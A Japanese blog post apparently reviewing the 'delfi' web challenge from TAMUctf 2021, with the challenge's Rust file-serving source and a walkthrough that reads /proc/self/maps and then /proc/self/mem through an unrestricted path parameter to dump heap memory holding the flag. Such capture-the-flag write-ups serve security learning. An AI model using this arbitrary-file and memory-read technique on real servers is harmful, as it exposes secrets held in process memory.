セキュリティ系の勉強・その他開発メモとか雑談. Twitter, ブログカテゴリ一覧
本ブログはあくまでセキュリティに関する情報共有の一環として作成したものであり,公開されているシステム等に許可なく実行するなど、違法な行為を助長するものではありません.

「復習」TAMUctf 2021

//

あらまし

web?カテゴリのdelfiという問題のソルバーを作者がdiscordに貼っていたので、ざっと備忘録です(僕が書いたわけじゃないのでここには載っけません。)

問題

配られたソースコード。サーバに/oracle/home/delfi/bin/delfi?offset=0&size=-1こんな感じでアクセスする。

use hyper::Body;
use serde_derive::*;
use std::cmp::min;
use std::convert::{Infallible, TryInto};
use std::fs::File;
use std::os::unix::fs::FileExt;
use std::path::PathBuf;
use tokio::process::Command;
use warp::filters::path::Tail;
use warp::hyper::StatusCode;
use warp::{http::Response, Filter, Reply};

#[derive(Deserialize, Serialize)]
struct FileOptions {
    offset: usize,
    size: isize,
}

#[tokio::main]
async fn main() {
    let flag = Command::new("get_flag").output().await.unwrap().stdout;

    let oracle = warp::path("oracle").and(
        warp::path::tail()
            .and(warp::query::<FileOptions>().map(Some).or_else(|_| async {
                Ok::<(Option<FileOptions>,), std::convert::Infallible>((None,))
            }))
            .map(|file: Tail, options: Option<FileOptions>| {
                let path = PathBuf::from(format!("/{}", file.as_str()));
                if path.exists() {
                    match File::open(path.clone()) {
                        Ok(f) => {
                            let (offset, size) = if let Some(options) = options {
                                (options.offset, options.size)
                            } else {
                                (0, -1)
                            };
                            println!(
                                "Reading {} with at offset {} with size {}",
                                path.display(),
                                offset,
                                size
                            );
                            let mut pos = offset;
                            // oops, chunked responses aren't a thing that exist!
                            // looks like we'll have to do it ourselves... again
                            Response::new(Body::wrap_stream(futures::stream::iter(
                                std::iter::from_fn(move || {
                                    let size = if size >= 0 {
                                        min(4096, size as usize - (pos - offset))
                                    } else {
                                        4096
                                    };
                                    if size == 0 {
                                        None
                                    } else {
                                        let mut buf = vec![0u8; size];
                                        match f.read_at(buf.as_mut(), pos.try_into().unwrap()) {
                                            Ok(s) => {
                                                if s == 0 {
                                                    None
                                                } else {
                                                    pos += s;
                                                    buf.truncate(s);
                                                    Some(buf)
                                                }
                                            }
                                            Err(e) => {
                                                eprintln!(
                                                    "Error while processing {}: {}",
                                                    path.display(),
                                                    e
                                                );
                                                None
                                            }
                                        }
                                    }
                                })
                                .map(Result::<_, Infallible>::Ok),
                            )))
                        }
                        Err(e) => {
                            eprintln!("Error while opening {}: {}", path.display(), e);
                            warp::reply::with_status(
                                warp::reply(),
                                StatusCode::INTERNAL_SERVER_ERROR,
                            )
                            .into_response()
                        }
                    }
                } else {
                    warp::reply::with_status(warp::reply(), StatusCode::NOT_FOUND).into_response()
                }
            }),
    );

    let default = warp::get().map(|| Response::builder()
        .header("Content-Type", "text/html;encoding=UTF-8")
        .body(format!(
            "Ask the <code>/oracle</code> for a file, e.g., <a href=\"/oracle{0}?offset=0&size=-1\"><code>/oracle{0}?offset=0&size=-1</code></a>.",
            std::env::current_exe().unwrap().display()
        ))
    );

    warp::serve(oracle.or(default))
        .run(([0, 0, 0, 0], 3030))
        .await;

    drop(flag);
}

解き方

2回こんな感じでアクセスする

①/oracle/proc/self/maps
②/oracle/proc/self/mem?offset={offset}&size={size} # offset,sizeには上で求めた値を入力

①はマッピングしている仮想メモリの領域を表示してくれるやつ、領域の開始と終了を得られるのでheapの開始と終わりまでのサイズを計算できます

# http://delfi.tamuctf.com/oracle/proc/self/maps

55f2167e0000-55f216811000 r--p 00000000 08:01 6291638                    /home/delfi/bin/delfi
55f216811000-55f216982000 r-xp 00031000 08:01 6291638                    /home/delfi/bin/delfi
55f216982000-55f216a0a000 r--p 001a2000 08:01 6291638                    /home/delfi/bin/delfi
55f216a0a000-55f216a29000 r--p 00229000 08:01 6291638                    /home/delfi/bin/delfi
55f216a29000-55f216a2c000 rw-p 00248000 08:01 6291638                    /home/delfi/bin/delfi
55f21708e000-55f2170af000 rw-p 00000000 00:00 0                          [heap]

... snip ...

7ffe456b6000-7ffe456b8000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

②は指定したメモリ内のデータを拾えるので、その得られた開始アドレスとサイズを使ってフラグを取得するようです。 94498257039360-94498256904192=135168

http://delfi.tamuctf.com/oracle/proc/self/mem?offset=94498256904192&size=135168

f:id:thinline196:20210427114257p:plain